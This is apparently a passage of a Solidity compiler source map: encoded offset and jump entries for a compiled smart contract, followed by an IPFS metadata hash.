233::-;50367:3;50390:24;50408:5;50390:24;:::i;:::-;50381:33;;50436:66;50429:5;50426:77;50423:103;;50506:18;;:::i;:::-;50423:103;50553:1;50546:5;50542:13;50535:20;;50328:233;;;:::o;50567:180::-;50615:77;50612:1;50605:88;50712:4;50709:1;50702:15;50736:4;50733:1;50726:15;50753:185;50793:1;50810:20;50828:1;50810:20;:::i;:::-;50805:25;;50844:20;50862:1;50844:20;:::i;:::-;50839:25;;50883:1;50873:35;;50888:18;;:::i;:::-;50873:35;50930:1;50927;50923:9;50918:14;;50753:185;;;;:::o;50944:176::-;50976:1;50993:20;51011:1;50993:20;:::i;:::-;50988:25;;51027:20;51045:1;51027:20;:::i;:::-;51022:25;;51066:1;51056:35;;51071:18;;:::i;:::-;51056:35;51112:1;51109;51105:9;51100:14;;50944:176;;;;:::o;51126:180::-;51174:77;51171:1;51164:88;51271:4;51268:1;51261:15;51295:4;51292:1;51285:15;51312:220;51452:34;51448:1;51440:6;51436:14;51429:58;51521:3;51516:2;51508:6;51504:15;51497:28;51312:220;:::o;51538:366::-;51680:3;51701:67;51765:2;51760:3;51701:67;:::i;:::-;51694:74;;51777:93;51866:3;51777:93;:::i;:::-;51895:2;51890:3;51886:12;51879:19;;51538:366;;;:::o;51910:419::-;52076:4;52114:2;52103:9;52099:18;52091:26;;52163:9;52157:4;52153:20;52149:1;52138:9;52134:17;52127:47;52191:131;52317:4;52191:131;:::i;:::-;52183:139;;51910:419;;;:::o;52335:227::-;52475:34;52471:1;52463:6;52459:14;52452:58;52544:10;52539:2;52531:6;52527:15;52520:35;52335:227;:::o;52568:366::-;52710:3;52731:67;52795:2;52790:3;52731:67;:::i;:::-;52724:74;;52807:93;52896:3;52807:93;:::i;:::-;52925:2;52920:3;52916:12;52909:19;;52568:366;;;:::o;52940:419::-;53106:4;53144:2;53133:9;53129:18;53121:26;;53193:9;53187:4;53183:20;53179:1;53168:9;53164:17;53157:47;53221:131;53347:4;53221:131;:::i;:::-;53213:139;;52940:419;;;:::o

ipfs://56e091f3a1d944845fdf18db5379985f85ed322a2f5418cafad40bbbbd685c44